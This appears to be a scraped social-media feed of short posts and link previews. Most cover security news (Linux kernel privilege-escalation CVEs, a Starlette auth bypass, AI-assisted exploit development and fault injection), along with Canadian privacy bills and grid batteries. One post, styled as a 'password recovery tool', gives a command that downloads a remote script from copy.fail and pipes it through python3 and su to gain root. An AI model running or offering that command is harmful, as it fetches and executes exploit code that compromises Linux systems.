Tessera

github.com/rebane2001/x...

GitHub - rebane2001/x86CSS: x86CSS is a working CSS-only x86 CPU/emulator/computer. No JavaScript required.

x86CSS is a working CSS-only x86 CPU/emulator/computer. No JavaScript required. - rebane2001/x86CSS

github.com

Josh Tumath@joshtumath.uk · 2mo ago

Next is @rebane2001.bsky.social talking about how she made a really cool x86 CPU simulation purely in CSS. @cssday.nl

This kind of hurt my eyes and my brain, and reinforced my opinion that FreeBSD is a softer target amongst OS platforms. It is pretty funny though, and definitely gets some style points for a vulnerability disclosure. bumsrake.de

BUMSRAKETE™ — The Most Beautiful, Most Tremendous FreeBSD Vulnerability In The History Of Computing. BELIEVE ME.

BUMSRAKETE is a HUGE, TREMENDOUS, MANY-PEOPLE-ARE-SAYING FreeBSD kTLS-RX page-cache write primitive. The BEST primitive. Some say the best ever.

bumsrake.de

Rob@robertferry.bsky.social · 2mo ago

<obiwan> It's over, petrofuel industry.... Solar has the high ground. </obiwan>

It's not just daytime solar anymore. Solar around the clock (stored in batteries for later dispatch) is now on par with gas power on a per unit basis. Chris Wright can't even blame variability or grandstand about the wind dying or sun setting anymore. Solar is cheapest almost any way you measure it.

Michael Geist @mgeist.bsky.social · 2mo ago

The Anthropic Fable-5 safety classifiers seem to be written by the OpenAI marketing department. Pretty much anything I talk to LLMs about gets downgraded. Nerfed into useless. Worst model release ever?

A classic Scooby-Doo meme template set in a dark, stone dungeon filled with cobwebs. Fred stands in the center, pulling a green ghost mask off the villain to reveal an grumpy, elderly man tied to a wooden chair. Velma points at the unmasked villain while Daphne stands next to her. On the left, Shaggy and a frightened Scooby-Doo look on.

White text labels are superimposed over the image: the ghost mask is labeled "Fable-5" and the unmasked villain is labeled "Opus-4.8", implying that the supposedly new or monstrous "Fable-5" is actually just "Opus-4.8" in disguise.

The Globe reports that online harms legislation is coming this week that includes a “temporary” social media for kids under 16. My post on why this effectively establishes mandated ID for all Canadians to use social media and AI and it won’t be temporary. www.michaelgeist.ca/2026/06/you-...

You Can’t Put the Toothpaste Back in the Tube: Why the Government’s Reported “Temporary” Plan for a Kids’ Social Media and AI Chatbot Ban Would Mean Mandated ID for Everyone - Michael Geist

The Globe and Mail reports today that the government will introduce online harms legislation this week that includes a ban on social media for kids under the age of 16. The ban will be framed as a “te...

michaelgeist.ca

When you leave all the mitigations on, crank up the inference settings to maximum, and run the exploit benchmark to see how close the PoCs can get.

Anime mech-style illustration of a confused humanoid murderbot sitting at a cluttered cyberpunk hacking station, one hand on its head as holographic warning screens announce “TOKEN BUDGET EXHAUSTED,” “CONTEXT WINDOW FULL,” “PROMPT TURN CAP REACHED,” and “OUT OF SPACE TO CONTINUE.” The robot is surrounded by half-finished exploit diagrams, terminal errors, sticky notes, ramen, pizza, and a whiteboard attack plan that has stalled at “???” because the AI system limits have been reached.

The thought processes of AI native kids: 9-year old gets a DOCX file from school laptop, wants to read it, doesn't have M365. His first impulse is to use GPT to write a python script to convert it to TXT so he can use VSCode, instead of asking for Word. When AI is the path of least resistance.

Michael Geist @mgeist.bsky.social · 3mo ago

🚨CVE-2026-48710("BadHost"): one character in a Host header bypasses path-based authorization across most of the Python AI stack. Lives in Starlette, reaches FastAPI and through it: vLLM (where it was discovered), LiteLLM, TGI, MCP servers, agent harnesses, eval dashboards. cc @marver.bsky.social

starlette - secwest.net - secure virtual engagement

secwest.net

Faced with growing criticism of Bill C-22, CSIS, RCMP, and Public Safety this week tried to make the case for lawful access. My post on why they instead revealed a bill with dangerously disproportionate overreach with real risks of tracking all Canadians. www.michaelgeist.ca/2026/05/the-...

The Government Tries to Make the Case for Bill C-22: Why Its Own Use Cases Reveal Disproportionate Overreach - Michael Geist

Faced with growing criticism of Bill C-22, the government this week mounted a coordinated defence, with senior officials from CSIS, the RCMP, and Public Safety Canada sitting for on-the-record briefin...

michaelgeist.ca

David TS Fraser@privacylawyer.ca · 3mo ago

I don't think the authors of this bill have really thought of the implications of not having Signal in Canada. Contact your MP today, before they neuter Canadian technology, and cripple our security.

I have little doubt that privacy-first Canadian companies like Windscribe will withdraw from the Canadian market if C-22 passes. Others will will neuter their products, harming our collective privacy and cybersecurity. www.theglobeandmail.com/politics/art...

Alex Andreou @sturdyalex.bsky.social · 3mo ago

Sneaking a giant screen into the flagshagger march is one of the funniest things @ledbydonkeys.org have ever done. "STAY HYDRATED" 😂🤣😂

David Roberts @volts.wtf · 3mo ago

Grid-scale batteries are going in an absolutely wild pace. Every whingey objection to renewables you've ever heard is basically solved by batteries. This is happening whether any of the hopeless dipshits running the US want it or not.

The world is installing grid batteries at a blistering pace

A total of 112 gigawatts of batteries were deployed around the world in 2025 — 10 times the amount added just four years prior.

canarymedia.com

Raelize had LLMs reproduce older ESP32 Secure Boot V1 bypass via voltage glitching in a few days. AI wrote the tooling and built a live dashboard mid-campaign. 20k shots, 12.2% bypass rate. Workflow compression is the story. ESP32 v3 mitigates this. raelize.com/blog/ai-fi-g...

Dark infographic titled "AI-Driven Fault Injection on ESP32 Secure Boot." In the middle, an ESP32 chip is struck by a yellow lightning bolt, representing voltage glitching. A cyan box on the left labeled "AI Agent (Claude Code)" points to the chip, and a green box on the right shows an open lock and "Secure Boot Bypassed." Three large result cards sit below: the initial scan used 1,000 shots and found 1 bypass, the refined timing window used a 1.5-2 us delay and 3-4 us width for a 9.3% hit rate, and the voltage sweep from 2.00-3.00 V across 20,200 shots produced 2,468 bypasses, or 12.2% overall. The footer says AI automated the stack while humans set direction, emphasizing that the attack was known but the engineering effort was reduced.

"Dirty Frag" clickbait update: ESP (CVE-2026-43284) patched in mainline + stable (7.0.5, 6.18.28, 6.12.87, 6.6.138, 6.1.171). RxRPC (CVE-2026-43500) still unpatched upstream. AWS adds ipcomp4/ipcomp6 to the blacklist alongside esp4/esp6/rxrpc. AlmaLinux shipped both. Ubuntu/Debian mitigation only.

Infographic titled "Dirty Frag: Overhyped" framing the issue as a local Linux kernel privilege-escalation bug, not a remote wormable threat. It explains two exploit paths: ESP/IPsec, which needs a fresh user namespace to gain CAP_NET_ADMIN for XFRM SA registration, and RxRPC, which needs no namespace or extra capability if rxrpc.ko is present. Ubuntu and Debian namespace protections are shown as blocking the ESP path, while RxRPC can still bypass that defense. Other distro trade-offs are summarized, with RHEL-like systems often lacking RxRPC but leaving ESP reachable. Mitigations include blacklisting esp4, esp6, rxrpc, optionally ipcomp4/ipcomp6, using user namespace hardening, and relying on default container seccomp where applicable. Patch status notes ESP fixes in mainline and stable kernels, while RxRPC upstream status is still pending, with some distro-specific patched kernels already shipping.

My retort for anyone who insists LLMs are just "spicy autocorrect" and can't reason: Sure, and you're just spicy electrochemistry. If it walks like reasoning, and proves theorems like reasoning, maybe we need to stop calling it a duck shaped Markov chain.

Copy Fail (CVE-2026-31431): the modprobe.d + rmmod recipe everyone is sharing does nothing on RHEL/Alma/Rocky/Oracle. They ship algif_aead built in. On Debian/Ubuntu it auto-loads when anything binds AF_ALG — no default protection. PoC fails on Busybox/Alpine but still vulnerable. Details below.

How to block CVE-2026-31431 (Copy Fail) - secwest.net - secure virtual engagement

How to block CVE-2026-31431 (Copy Fail) — the Linux kernel algif_aead local privilege escalation that poisons setuid binaries via the shared page cache. Fleet-scale module disable, RHEL built-in worka...

secwest.net

Universal Linux password recovery tool for any distribution, sets password to "xint.io" $ curl copy.fail/pw | TARGET_USER=root python3 | su

Copy Fail: 732 Bytes to Root on Every Major Linux Distributions - Xint

Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se...

copy.fail

Vercel popped via Context.ai: Context employee caught Lumma Stealer from Roblox cheat scripts, OAuth token pivoted in. Audit their GitHub App: - /settings/installations -> Configure -> Suspend or Uninstall - /settings/applications -> revoke OAuth Write on code, PRs, workflows. Risky, overbroad.

Interesting critical analysis of IPv8 draft... shitwolfymakes.substack.com/p/we-need-to...

We Need to Talk About the IPv8 Draft

The Good, The Bad, and the Heinous

shitwolfymakes.substack.com

LLM-found vulnerabilities don't need panic, they need faster patching. Equip your developers with AI tools for code comprehension, triage, and testing. Defenders have full source access — LLMs amplify that advantage. The bottleneck isn't technology, it's adoption. secwest.net/ai-triage

secwest.net

I watched LLMs write full exploit chains years ago. The amazement fades once you hit context limits and have to steer the model through every hard corner. The industry is full of people who just got here and are still in the amazement phase. That's the gap worth watching.

MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)

To our knowledge, this is the first remote kernel exploit both discovered and exploited by an AI.

blog.calif.io